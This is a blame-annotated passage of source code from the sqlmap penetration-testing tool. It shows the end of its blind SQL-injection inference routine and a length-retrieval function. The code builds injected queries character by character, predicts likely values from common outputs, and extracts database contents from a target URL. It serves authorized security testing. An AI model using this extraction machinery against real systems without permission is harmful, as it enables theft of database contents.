2012-02-17 18:22:48 +04:00
|
|
|
except KeyboardInterrupt:
|
|
|
|
abortedFlag = True
|
2010-07-19 12:37:45 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
finally:
|
2013-02-04 18:49:29 +04:00
|
|
|
value = [_ for _ in partialValue]
|
|
|
|
value.extend(_ for _ in threadData.shared.value)
|
2011-06-17 16:50:28 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
infoMsg = None
|
2010-03-11 14:20:52 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
# If we have got one single character not correctly fetched it
|
2013-04-09 13:48:42 +04:00
|
|
|
# can mean that the connection to the target URL was lost
|
2012-02-17 18:22:48 +04:00
|
|
|
if None in value:
|
2012-03-28 17:31:07 +04:00
|
|
|
partialValue = "".join(value[:value.index(None)])
|
2012-01-05 18:45:05 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if partialValue:
|
|
|
|
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
|
|
|
|
else:
|
|
|
|
finalValue = "".join(value)
|
|
|
|
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
|
2010-05-27 20:45:09 +04:00
|
|
|
|
2013-02-05 19:00:06 +04:00
|
|
|
if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"):
|
2012-02-17 18:22:48 +04:00
|
|
|
dataToStdout(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
# No multi-threading (--threads = 1)
|
2008-12-04 20:40:03 +03:00
|
|
|
else:
|
2012-02-17 18:22:48 +04:00
|
|
|
index = firstChar
|
|
|
|
|
|
|
|
while True:
|
|
|
|
index += 1
|
|
|
|
charStart = time.time()
|
|
|
|
|
|
|
|
# Common prediction feature (a.k.a. "good samaritan")
|
|
|
|
# NOTE: to be used only when multi-threading is not set for
|
|
|
|
# the moment
|
|
|
|
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
|
|
|
|
val = None
|
|
|
|
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
|
|
|
|
|
|
|
|
# If there is one single output in common-outputs, check
|
|
|
|
# it via equal against the query output
|
|
|
|
if commonValue is not None:
|
|
|
|
# One-shot query containing equals commonValue
|
2013-01-18 18:40:37 +04:00
|
|
|
testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)
|
2013-02-15 20:25:33 +04:00
|
|
|
|
2013-03-05 21:32:31 +04:00
|
|
|
query = kb.injection.data[kb.technique].vector
|
|
|
|
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue)))
|
2012-02-17 18:22:48 +04:00
|
|
|
query = agent.suffixQuery(query)
|
2013-03-05 21:32:31 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
|
|
|
|
incrementCounter(kb.technique)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
# Did we have luck?
|
|
|
|
if result:
|
|
|
|
if showEta:
|
2013-05-09 17:52:18 +04:00
|
|
|
progress.progress(time.time() - charStart, len(commonValue))
|
2013-02-03 15:31:05 +04:00
|
|
|
elif conf.verbose in (1, 2) or hasattr(conf, "api"):
|
2013-01-10 16:18:44 +04:00
|
|
|
dataToStdout(filterControlChars(commonValue[index - 1:]))
|
2012-02-17 18:22:48 +04:00
|
|
|
|
|
|
|
finalValue = commonValue
|
|
|
|
break
|
|
|
|
|
|
|
|
# If there is a common pattern starting with partialValue,
|
|
|
|
# check it via equal against the substring-query output
|
|
|
|
if commonPattern is not None:
|
|
|
|
# Substring-query containing equals commonPattern
|
|
|
|
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
|
2013-01-18 18:40:37 +04:00
|
|
|
testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)
|
2013-02-15 20:25:33 +04:00
|
|
|
|
2013-03-05 21:32:31 +04:00
|
|
|
query = kb.injection.data[kb.technique].vector
|
|
|
|
query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue)))
|
2012-02-17 18:22:48 +04:00
|
|
|
query = agent.suffixQuery(query)
|
2013-03-05 21:32:31 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
|
|
|
|
incrementCounter(kb.technique)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
# Did we have luck?
|
|
|
|
if result:
|
2013-01-10 16:18:44 +04:00
|
|
|
val = commonPattern[index - 1:]
|
|
|
|
index += len(val) - 1
|
2012-02-17 18:22:48 +04:00
|
|
|
|
|
|
|
# Otherwise if there is no commonValue (single match from
|
|
|
|
# txt/common-outputs.txt) and no commonPattern
|
|
|
|
# (common pattern) use the returned common charset only
|
|
|
|
# to retrieve the query output
|
|
|
|
if not val and commonCharset:
|
|
|
|
val = getChar(index, commonCharset, False)
|
|
|
|
|
|
|
|
# If we had no luck with commonValue and common charset,
|
|
|
|
# use the returned other charset
|
|
|
|
if not val:
|
|
|
|
val = getChar(index, otherCharset, otherCharset == asciiTbl)
|
|
|
|
else:
|
|
|
|
val = getChar(index, asciiTbl)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2013-02-05 16:51:35 +04:00
|
|
|
if val is None:
|
2012-02-17 18:22:48 +04:00
|
|
|
finalValue = partialValue
|
|
|
|
break
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if kb.data.processChar:
|
|
|
|
val = kb.data.processChar(val)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
partialValue += val
|
2010-11-02 23:51:55 +03:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if showEta:
|
2013-05-09 17:52:18 +04:00
|
|
|
progress.progress(time.time() - charStart, index)
|
2013-02-03 15:31:05 +04:00
|
|
|
elif conf.verbose in (1, 2) or hasattr(conf, "api"):
|
2012-04-03 18:04:07 +04:00
|
|
|
dataToStdout(filterControlChars(val))
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2013-01-22 14:34:34 +04:00
|
|
|
# some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
|
2013-01-21 17:50:43 +04:00
|
|
|
if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n':
|
2013-01-22 14:34:34 +04:00
|
|
|
finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
|
2012-02-17 18:22:48 +04:00
|
|
|
break
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2013-02-05 16:51:35 +04:00
|
|
|
if (lastChar > 0 and index >= lastChar):
|
2013-02-05 18:03:55 +04:00
|
|
|
finalValue = "" if length == 0 else partialValue
|
|
|
|
finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
|
|
|
|
partialValue = None
|
2013-02-05 16:51:35 +04:00
|
|
|
break
|
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
except KeyboardInterrupt:
|
|
|
|
abortedFlag = True
|
2012-02-24 14:57:23 +04:00
|
|
|
finally:
|
2012-07-12 17:58:45 +04:00
|
|
|
kb.prependFlag = False
|
|
|
|
kb.stickyLevel = None
|
2012-10-28 15:30:21 +04:00
|
|
|
retrievedLength = len(finalValue or "")
|
2010-12-11 13:52:04 +03:00
|
|
|
|
2012-03-16 14:15:43 +04:00
|
|
|
if finalValue is not None:
|
|
|
|
finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
|
|
|
|
hashDBWrite(expression, finalValue)
|
2012-03-16 17:14:14 +04:00
|
|
|
elif partialValue:
|
2013-01-25 19:38:41 +04:00
|
|
|
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))
|
2012-03-16 14:15:43 +04:00
|
|
|
|
2013-02-05 19:00:06 +04:00
|
|
|
if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"):
|
2012-10-28 15:30:21 +04:00
|
|
|
infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
|
2012-10-22 16:36:01 +04:00
|
|
|
dataToStdout(infoMsg)
|
|
|
|
else:
|
2013-05-09 17:52:18 +04:00
|
|
|
if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
|
2012-10-22 16:36:01 +04:00
|
|
|
dataToStdout("\n")
|
|
|
|
|
2013-01-09 18:38:41 +04:00
|
|
|
if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
|
2012-10-22 16:36:01 +04:00
|
|
|
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
|
|
|
|
logger.info(infoMsg)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2010-12-21 17:21:24 +03:00
|
|
|
if kb.threadException:
|
2013-01-04 02:20:55 +04:00
|
|
|
raise SqlmapThreadException("something unexpected happened inside the threads")
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-02-17 18:22:48 +04:00
|
|
|
if abortedFlag:
|
|
|
|
raise KeyboardInterrupt
|
|
|
|
|
|
|
|
_ = finalValue or partialValue
|
|
|
|
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
|
2012-06-21 14:09:10 +04:00
|
|
|
|
|
|
|
def queryOutputLength(expression, payload):
|
|
|
|
"""
|
|
|
|
Returns the query output length.
|
|
|
|
"""
|
|
|
|
|
|
|
|
infoMsg = "retrieving the length of query output"
|
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2012-07-12 04:12:30 +04:00
|
|
|
lengthExprUnescaped = agent.forgeQueryOutputLength(expression)
|
2012-06-21 14:09:10 +04:00
|
|
|
start = time.time()
|
|
|
|
count, length = bisection(payload, lengthExprUnescaped, charsetType=CHARSET_TYPE.DIGITS)
|
|
|
|
|
2013-05-28 16:40:45 +04:00
|
|
|
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
|
2012-06-21 14:09:10 +04:00
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
if length == " ":
|
|
|
|
length = 0
|
|
|
|
|
2012-07-12 04:12:30 +04:00
|
|
|
return length
|